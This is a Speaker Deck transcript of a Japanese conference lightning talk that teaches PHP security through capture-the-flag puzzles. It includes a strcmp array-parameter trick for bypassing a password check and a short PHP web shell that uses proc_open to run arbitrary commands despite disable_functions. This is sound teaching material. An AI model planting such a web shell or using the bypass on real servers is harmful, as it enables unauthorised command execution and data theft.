Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Sign up for free
Menu
Search
Features
All features
Private URLs
Password Protection
Custom URLS
Scheduled publishing
Remove Branding
Restrict embedding
Deck Collections
Notes
Features
All features
Private URLs
Password Protection
Custom URLS
Scheduled publishing
Remove Branding
Restrict embedding
Deck Collections
Notes
Explore
Featured decks
Featured speakers
Programming
Technology
Storyboards
Explore
Featured decks
Featured speakers
Programming
Technology
Storyboards
Pricing
Search
Sign in
Sign up for free
CTFで学ぶPHPセキュリティ
Search
Ryoto Saito
March 31, 2019
Programming
4.5k
3
Share
Embed
Copy iframe code
Copy JS code
Copy link
Start on current slide
CTFで学ぶPHPセキュリティ
PHPerKaigi 2019
ルーキーズLT
Ryoto Saito
March 31, 2019
Transcript
24 slides
CTFで学ぶ PHPセキュリティ 2019/3/31 PHPerKaigi ルーキーズLT Ryoto (@systemctl_ryoto) 1
CTF - Capture the Flag 2
CTF Capture the Flag • FPSのゲームルール の1種 • 敵陣のフラッグを自陣 に持ち帰る
• 由来は物理的な遊び • 転じて… 3
CTF Capture the Flag • 情報セキュリティ的に脆弱な 「何か」が用意される • その脆弱性を突いてFlagを取得 する競技
※ Flag = 仮想的な機密文字列 flag{PHP_is_s3cur3!} ↑過去に本当に見たことあるやつ • 問題ベースで楽しくセキュリティ が勉強できる! • 徳丸さんの挑戦状もCTF 4
PHPer チャレンジ は シェルを 奪えます ls -al /もmysqldumpも実行できる 5
CTFの 主要な ジャンル 厳密な分類は大会やサイトによって 微妙に異なる 6 Pwn プログラムの脆弱性を突く Reverse リバースエンジニアリング
Forensic パケットやFile systemなど Crypto 暗号解読 Web クライアントからサーバまで
Webの CTF 情報セキュリティ的に脆弱な「何か」 • 「Webサイト」 • 「ソースコード」 どこが脆弱かはもちろん、どこにFlag があるのかがわからないことも たのしい謎解きの始まり
7
CTFのPHP問題例 - 実際の問題の一部分 - 8
前提:パスワード認証のソースを入手した include "define.php"; /* 403 Forbidden */ if (strcmp($_GET['password'], PASSWORD)
== 0) { echo FLAG; } 目標:なんとか突破したい! 言語仕様に関する問題 9
前提:パスワード認証のソースを入手した include "define.php"; /* 403 Forbidden */ if (strcmp($_GET['password'], PASSWORD)
== 0) { echo FLAG; } 目標:なんとか突破したい! 言語仕様に関する問題 10
言語仕様に関する問題 11
言語仕様に関する問題 12
言語仕様に関する問題 13 if (strcmp($_GET['password'], PASSWORD) == 0) strcmpは配列や関数などを受け取るとnull+Warningを返す) <?php var_dump($_GET);
http://localhost/dump.php?password[]=admin にアクセス↓ array(1) { ["password"] => array(1) { [0] => string(5) "admin" } }
include "define.php"; /* 403 Forbidden */ if (strcmp($_GET['password'], PASSWORD) ==
0) { echo FLAG; } 目標:なんとか突破したい! 先ほどのヒントを踏まえると… 言語仕様に関する問題 14
include "define.php"; /* 403 Forbidden */ if (strcmp($_GET['password'], PASSWORD) ==
0) { echo FLAG; } 目標:なんとか突破したい! Ans: http://target.host/?password[]= 言語仕様に関する問題 15
前提:任意の.phpファイルがUpload、実行できる脆弱性が発覚 <?php phpinfo(); disable_functions pcntl_exec, exec, popen, passthru, shell_exec, system
目的:シェルを奪いたい!(任意コマンドを実行したい) 任意コード実行 16
(注:shell_execと等価なので`cmd`はダメ) 任意コード実行 17
pcntl_exec, exec, popen, passthru, shell_exec, system... proc_open関数がノーマーク 任意コード実行 18
pcntl_exec, exec, popen, passthru, shell_exec, system... proc_open関数がノーマーク 前提:任意の.phpファイルがUpload、実行できる脆弱性が発覚 目的:シェルを奪いたい!(任意コマンドを実行したい) 任意コード実行
19
Ans. 以下のPHPファイルをアップロード <?php $cmd = $_GET['cmd'] $process = proc_open($cmd, [1=>["pipe",
"w"]], $pipes); echo stream_get_contents($pipes[1]); これを1回アップロードすれば?cmd=...でやりたい放題 任意コード実行 20
CTFに興味が湧いてきた人は! 21
やってみよう! 22 常設CTF(Web・PHP問題が入門から充実している) • https://www.root-me.org/en/Challenges/Web-Server/ • http://websec.fr/ ※ 垢登録するときは捨てパスワードを使いましょう 慣れたらコンテストに参加!
• https://ctftime.org
困ったときは 23 CTFでは解答例のことを Write-up と呼びます。 考えてもわからなかったら答えを探すのもあり! ("Write-up"で検索して問題を探す荒技もあり)
Thank you! @systemctl_ryoto 24
More Decks by Ryoto Saito
See All by Ryoto Saito
コンテナ上シェル悪用の話とPure Bashでcurlが作れた話
ryotosaito
2
730
シェル芸のせかい / the Shellgei World
ryotosaito
2
1.9k
Other Decks in Programming
See All in Programming
TanStack Vue Query と Pinia Colada から学ぶ非同期状態の型設計
aoshi
0
670
React Native経験者が Flutterを30⽇間触って驚いたこと
3saito
0
190
AI-Powered Domain-Driven Design
ziobrando
0
450
Lambda durable functionsでHuman in the Loopを楽に…楽に……
har1101
2
320
Coding with AI: How to trust the storyteller (AWS Community Day Adria, Ljubljana 2026)
slobodan
0
150
선언형 햅틱 라이브러리 진동을 소개합니다
l2hyunwoo
1
310
AIがコードを書いてくれる時代、我々は何を確かめるのか
yosuke_furukawa
PRO
13
5.9k
조합이폭발하는디자인시스템이걸눈으로도테스트하라고요
giljongyu
0
750
From Java 8-11 to Java 21-27 — Benefits, Challenges, and a Practical Migration Path
x5gtrn
PRO
0
100
Growing PicoRuby's Ecosystem on ESP32
yuuu
2
130
[DroidKnights 2026] Workflow AX: From Auto-Documented Policies to E2E Testing
raeminkang
0
570
Vapor Mode でアクセシビリティは 壊れないか検証した話
fuqda
1
350
Featured
See All Featured
Learning to Love Humans: Emotional Interface Design
aarron
275
41k
KATA
mclloyd
PRO
35
16k
sira's awesome portfolio website redesign presentation
elsirapls
0
510
[Rails World 2023 - Day 1 Closing Keynote] - The Magic of Rails
eileencodes
38
3.1k
Leading Effective Engineering Teams in the AI Era
addyosmani
9
2.9k
The Director’s Chair: Orchestrating AI for Truly Effective Learning
tmiket
1
350
[RailsConf 2023 Opening Keynote] The Magic of Rails
eileencodes
31
10k
Improving Core Web Vitals using Speculation Rules API
sergeychernyshev
21
1.7k
Dominate Local Search Results - an insider guide to GBP, reviews, and Local SEO
greggifford
PRO
0
400
Designing for Performance
lara
612
70k
Side Projects
sachag
456
43k
Test your architecture with Archunit
thirion
2
2.5k